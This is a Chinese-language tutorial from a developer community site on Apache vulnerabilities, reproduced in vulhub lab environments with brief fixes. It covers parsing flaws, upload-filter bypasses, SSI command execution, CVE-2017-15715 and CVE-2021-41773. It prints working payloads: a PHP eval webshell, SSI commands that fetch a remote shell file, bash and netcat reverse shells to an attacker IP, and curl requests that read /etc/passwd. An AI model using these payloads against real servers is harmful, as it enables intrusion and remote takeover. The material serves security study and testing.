中间件常见漏洞之apache-阿里云开发者社区

0x01 apache简介

Apache 是目前世界排名第一的 web 服务器，可以运行在几乎所有广泛使用的计算机平台上。由于其跨平台性和安全性被广泛使用，同时它能通过简单的API进行扩充，并将 Perl/Python 等解释器编译到服务器中。要知道 Apache 中间件可了解下最常见的 Apache 建站组合：LAMP，它们分别对应 Linux、Apache、Mysql、PHP。其中各组件的作用如下：

Linux：操作系统底层PHP：服务端语言，主要通过php_module与Apache服务器相关联Apache：中间件，用于沟通Linux和PHPMysql：数据库，通过php_extensions处理PHP的请求，配合查询、增删数据库中的数据Apache 本身是不支持 PHP 解析的，但是可以通过 LoadModule 来加载 php_module 模块，从而将其作为 Apache 的子模块运行，当请求 PHP 文件时，Apache 就会调用 php_module 来解析 PHP 代码。通过以下方式可以添加执行 PHP 文件类型

AddType application/x-httpd-php .php
或
<FilesMatch \.php$>
      SetHandler application/x-httpd-php
</FilesMatch>

Apache生命周期Apache从启动到运行经历以下几个过程

如上图所示，Apache 首先会解析配置文件，加载模块并初始化系统资源，完成启动阶段。接下来进入运行阶段，开始循环处理请求，完成对用户请求的处理。

1.URI Translation：将请求的URL映射到本地文件系统，mod_alias模块就是在这个阶段工作。2.Header Pasing：解析header头部，mod_setenvif模块在这个阶段工作。3.Access Control：按照配置文件设定的策略对用户进行认证，并设定用户名区域，模块在这个阶段可以实现认证方法。4.Authorization：根据配置文件检查是否允许认证过的用户执行请求的操作，模块在这个阶段可以实现用户权限管理方法。5.MIME Type Checking：根据请求资源的MIME类型的相关规则，将文件交由相应的处理模块。6.Fix Up：模块在内容生成器之前，运行必要的处理流程。7.Response：生成响应报文。8.Logging：在客户端后记录事物。9.ClenaUp：清除请求后遗留的环境。Apache工作模式MPM（Multi Processing Modulings，多路处理模块）是 Apache 的核心组件之一，Apache 通过 MPM 来使用操作系统资源，对线程、进程池进行管理。Apache 为了获得更好的运行性能，针对不同的平台（Linux/unix、Windows）提供了不同的 MPM，用户可以根据实际情况进行选择，其中最常使用的两种是 perfork 和 worker。PerforkPerfork是非线程、预生成进程型MPM，会预先启动一些子进程，每个子进程一个时间只能处理一个请求，并且会根据并发请求数量来动态生成更多的子进程。配置参数如下：

StartServices: 服务器默认启动的子进程
MinSpareServers: 最小空闲进程数量
MaxSpareServers: 最大空闲进程数量
MaxClient: 最高并发量
ServerLimit: 最大限制并发量
MaxRequestPerChild: 每个子进程默认最多处理多少个请求，当达到设定值时，这个进程就会被kill掉，重新生成一个新的进程（避免出现内存泄露等安全问题或运行太久出现假死等情况）

WorkerWorker是线程化、多进程的MPM，每个进程可以生成多个线程，每个线程处理一个请求，不需要启用过多的子进程，每个进程能够拥有的线程数量是固定的。服务器会根据负载情况增加或减少进程数量，一个单独的控制进程（父进程）负责子进程的建立。每个子进程能够建立ThreadsPerChild数量的服务线程和监听线程，该监听线程监听接入请求并将其传递给服务线程处理和应答。配置参数如下：

StartServers: 服务器启动时建立的子进程数（默认为3）
MaxClients: 允许同时服务的最大请求数量（最大线程数），任何超过MaxClients限制的请求都将进入等待队列（默认为400）
MinSpareThreads: 最小空闲线程数（默认值为75）
MaxSpareThreads: 最大空闲线程数（默认值为250）
ThreadsPerChild: 每个子进程建立的常驻的执行线程数（默认值为25）
MaxRequestPerChild: 每个子进程在其生存期内允许处理的最大请求数

差别1、Perfork的速度要高于Worker，因此它需要的cpu和内存也稍高于Worker。 2、Perfork的无线程设计在某些情况下更具有优势，它可以使用那些没有处理好线程安全的第三方模块，对于那些线程调试困难的平台而言也更容易调试一些。 3、在高流量的HTTP服务器上，Worker相对于Perfork会好许多，因为相比内存占用要低得多。

0x02 apache安装

官网下载地址：https://www.apachehaus.com/cgi-bin/download.plx

Windows下安装Apache在官网直接下载即可，解压后其目录如下：

在conf目录下存在配置文件httpd.conf，可用于配置 Apache 中间件

进入bin目录启动 Apache 应用，如果返回OK则说明它能够正常启动

httpd -t

开始在服务中安装 Apache

xxxxxxxxxx httpd -k install -n Apache2.4

启动服务或停止服务命令如下：

httpd -k startht
tpd -k stop

服务启动后访问界面如下：

也可以直接在bin目录下运行ApacheMonitor.exe程序，达到的效果都是一样的

Linux下安装Apache而在 Linux 下安装也非常简单，利用 yum 等包管理工具可轻松安装成功

yum install httpd
## 停止或启动服务
service httpd start
service httpd stop

其默认服务目录在/etc/httpd当中

0x03 apache漏洞

未知扩展名解析漏洞漏洞详情Apache 解析漏洞依赖一个特性，它对文件的解析后缀不仅仅是认识最后一个后缀名，而是从右至左依次识别，当遇到一个文件存在多个以点分隔的后缀时，如mac.php.x.a，它会从.a开始识别，直到遇到自己能够解析的后缀名.php，通过 phpstudy 搭建复现环境并访问站点

在Apache的文件名扩展conf/mime.types中进行设置，其中规定了哪些扩展名Apache认识，而哪些扩展名Apache不认识。

在站点目录下分别放置1.jpg、1.jpg.aa以及1.php.aa

通过访问发现1.jpg.aa与1.jpg内容相同，说明该漏洞存在

但是访问1.php.aa只显示文本内容，并没有对 PHP 解析

难道是 PHP 未配置成功？访问 PHPINFO 文件phpinfo.php成功解析

在 Apache 使用 module 模式与 PHP 结合的所有版本中存在未知扩展名解析漏洞，而使用 fastcgi 与 PHP 结合的所有版本中则不存在该漏洞，出现上述情况难道是 Apache 使用 fastcgi 模式导致漏洞复现未成功？Module模式：

FastCgi模式：

经验证这也不是使用模式的问题，当模式改为fastcgi后访问文件还会出现500错误

而出现 PHP 未解析的主要原因在 PHP 配置文件php.conf当中

<FilesMatch ".+\.ph(p[345]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

通过以上正则匹配可知 PHP 匹配文件名如果遇到最后一个后缀名不是ph(p[345]?|t|tml)$，不会把它当做 PHP 来执行，即使 Apache 认为它是 PHP 文件，只要将正则表达式中的$替换为\.后就能解决这个问题。由于 phpstudy 中未找到php.conf，于是在 Kali 中查找配置文件

find / -name php*.conf

在php7.4.conf中修改如下：

<FilesMatch ".+\.ph(p[345]?|t|tml)\.">
    SetHandler application/x-httpd-php
</FilesMatch>

重启 Apache 服务，访问站点成功

service apache2 start

重新在 Kali 中访问1.php.aa，解析成功

配置错误导致的解析漏洞漏洞详情在 Apache 的站点配置conf-enabled下添加*.conf文件，设置完后重启 Apache 即可将文件名中所有存在.php的文件都解析为PHP

vim mac.conf
AddHandler application/x-httpd-php .php

比如访问1.php.txt.aa，成功解析

当然也可以将*.conf设置如下，两者功能相同

<FilesMatch "1.jpg">
    SetHandler application/x-httpd-php
</FilesMatch>

访问1.jpg同样可以成功解析

扩展思路只要在 Apache 配置文件*.conf下插入配置信息即可完成任意文件名解析，由此可以扩展到.htaccess文件，与*.conf类似，但它需要处在站点根目录下，攻击者可通过上传.htaccess文件完成 PHP 解析，感兴趣的朋友可在文件上传靶场Uplood-Labs中进行练习。罕见后缀名解析漏洞漏洞详情查看 PHP 的配置文件，发现后缀名除了php可以被解析为 PHP 以外，还能通过phar、phtml等进行解析，当遇到文件上传点采用黑名单为.php时，我们可使用.phar、.phtml后缀来绕过限制。

比如1.phtml，解析 PHP 成功

目录遍历漏洞详情如果将httpd.conf和vhosts.conf中的-都设置为+，会导致目录遍历漏洞的产生

如果想要修复该漏洞，将+修改为-后重启服务器即可。在谷歌中利用谷歌黑客语法可轻易找到存在该漏洞的网站

intitle:index of

换行解析漏洞（CVE-2017-15715）漏洞详情上传一个后缀末尾包含换行符的文件可绕过FilesMatch，Apache 通过 mod_php 执行脚本，在解析时会将xxx.php\x0A当做 PHP 来解析，利用该方式可绕过服务器的一些安全策略，从而导致漏洞产生。该漏洞的根本原因在于php.conf中的$不仅匹配字符串结尾位置，也可以匹配\n或者\r等换行符。影响版本：Apache 2.4.0-2.4.29下载 docker 部署 vulhub 环境进行复现，在 ubuntu 下安装 docker

sudo apt install curl
curl -s https://get.docker.com/ | sh
sudo apt install python
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python get-pip.py
pip install docker-compose
sudo apt install docker-compose

通过以下命令验证 docker-compose 是否已经安装

docker-compose -v

开启 CVE-2017-15715 环境

cd vulhub/httpd/CVE-2017-15715/
sudo docker-compose build
sudo docker-compose up -d
docker ps

访问目标站点http://192.168.0.107:8080

首先直接上传正常的.php后缀文件，发现不能上传

通过 burpsuite 抓取上传请求包，发送至repeater模块

把符号点.替换为换行符，即0x7e替换为0x0a

结果显示上传成功，成功绕过限制

访问`http://192.168.0.107:8080/evil.php%0A`，文件已经成功解析为 PHP

那么为什么添加换行符后就可以成功执行PHP解析呢？先来看看上传界面index.php

<?php
  if(isset($_FILES['file'])) {
      $name = basename($_POST['name']);
      $ext = pathinfo($name,PATHINFO_EXTENSION);
      if(in_array($ext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'])) {
          exit('bad file');
      }
      move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);
  } else {
?>

在代码中可以看到后台虽然过滤了 PHP 后缀的文件，但在正则中只表示匹配字符串的结尾处。而如果设置了RegExp对象的Multiline属性，也可以成功匹配\n和\r等换行字符，这里需要区分0x0a和0x0d，前者为换行到下一行行首起始位置，后者只是移动光标到该行起始位置。因此只有0x0a能起作用，而0x0d不起作用。该漏洞算是 Apache 的特性，只是开发或运维人员对其理解深度不足而导致。修复建议1、升级到最新版本 2、将上传的文件名重命名并禁止上传目录执行脚本权限SSI远程代码执行漏洞漏洞详情SSI（Server-side inculdes）是放置在 HTML 中的指令，它可以将动态生成的内容添加到现有的HTML页面上，而不必通过 CGI 程序或其他动态程序来支持整个界面，简单来说就是它可以在 HTML 中加入特定的指令，也可以引入其他的页面，开启 SSI 需要单独配置 Apache。它能够完成查看时间、文件修改时间、CGI程序执行结果、执行系统命令、连接数据库等操作，功能十分强大。该漏洞可在 vulhub 中进行复现，启动漏洞环境

cd vulhub/httpd/ssi-rce
docker-compose ps
docker-compose up -d

访问http://192.168.0.107:8080/upload.php，这是一个上传界面

利用SSI执行系统命令的功能，构造一个包含系统指令的文件mac.shtml

<pre>
<!--#exec cmd="whoami"-->
</pre>

上传成功后返回文件路径

访问路径http://192.168.0.107:8080/mac.shtml，成功执行系统命令

尝试执行命令写入小马

<!--#exec cmd="wget http://192.168.0.105/shell.txt | rename shell.txt mac.php" --> 
<!--#exec cmd="echo '<?php @eval($_POST[mac]);?>' > mac.php" -->

成功连接蚁剑，连接地址为http://192.168.0.107:8080/mac.php

当然也可以执行反弹shell

<!--#exec cmd="/bin/bash -i > /dev/tcp/192.168.0.108/8888 0<&1 2>&1" -->
<!--#exec cmd="nc 192.168.0.108 8888 -e /bin/bash"-->

Apahce HTTPd 2.4.49（CVE-2021-41773）

Apache HTTP Server 是 Apache 基础开放的流行的 HTTP 服务器。在其 2.4.49 版本中，引入了一个路径体验，满足下面两个条件的 Apache 服务器将受到影响：1、版本等于2.4.492、Require all granted（默认情况下是允许被访问的）。攻击者利用这个漏洞，可以读取到Apache服务器Web目录以外的其他文件，或者读取Web中的脚本源码，或者在开启cgi或cgid的服务器上执行任意命令。影响版本Apache HTTP Server 2.4.49本实验使用vulhub环境，节约搭建时间

mkdir Dockerfile //在空目录里面创建Dockerfile目录
cd Dockerfile //进入Dockerfile目录
vi Dockerfile //创建文件Dockerfil并编写

DockerFile文件内容：

FROM httpd:2.4.49
RUN set -ex \
    && sed -i "s|#LoadModule cgid_module modules/mod_cgid.so|LoadModule cgid_module modules/mod_cgid.so|g" /usr/local/apache2/conf/httpd.conf \
    && sed -i "s|#LoadModule cgi_module modules/mod_cgi.so|LoadModule cgi_module modules/mod_cgi.so|g" /usr/local/apache2/conf/httpd.conf \
    && sed -i "s|#Include conf/extra/httpd-autoindex.conf|Include conf/extra/httpd-autoindex.conf|g" /usr/local/apache2/conf/httpd.conf \
    && cat /usr/local/apache2/conf/httpd.conf \
        | tr '\n' '\r' \
        | perl -pe 's|<Directory />.*?</Directory>|<Directory />\n    AllowOverride none\n    Require all granted\n</Directory>|isg' \
        | tr '\r' '\n' \
        | tee /tmp/httpd.conf \
    && mv /tmp/httpd.conf /usr/local/apache2/conf/httpd.conf

接下来在 Dockerfile 文件的存放目录下，执行构建动作。以下示例，通过目录下的 Dockerfile 构建一个 httpd:2.4.49rce（镜像名称:镜像标签）。注：最后的 . 代表本次执行的上下文路径。

docker build -t  httpd:2.4.49rce .

运行docker

docker run  -d -p 85:80 httpd:2.4.49rce

之后就可以通过浏览器访问量（如果浏览器访问不了，重新启动实验机后再启动docker就可以解决该问题）

POC测试

curl -v --path-as-is http://XXXXX:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

或者

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close

在服务器上启用 mods cgi 或 cgid 后，此路径遍历漏洞将允许任意命令执行，（此靶场是已启用cgid）远程代码执行POC：

curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://XXXXX:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"

或者

GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Length: 8
echo;pwd

漏洞修复

升级到Apache HTTP Server最新版本。

中间件常见漏洞之apache

0x01 apache简介

0x02 apache安装

0x03 apache漏洞

热门文章

最新文章

相关课程

相关电子书

推荐镜像

热门

活动广场

任务中心

开发者评测

高校计划

乘风者计划

训练营

阿里云MVP

话题

直播

下载

镜像站

技术资料

插件

中间件常见漏洞之apache

0x01 apache简介

0x02 apache安装

0x03 apache漏洞

热门文章

最新文章

相关课程

相关电子书

推荐镜像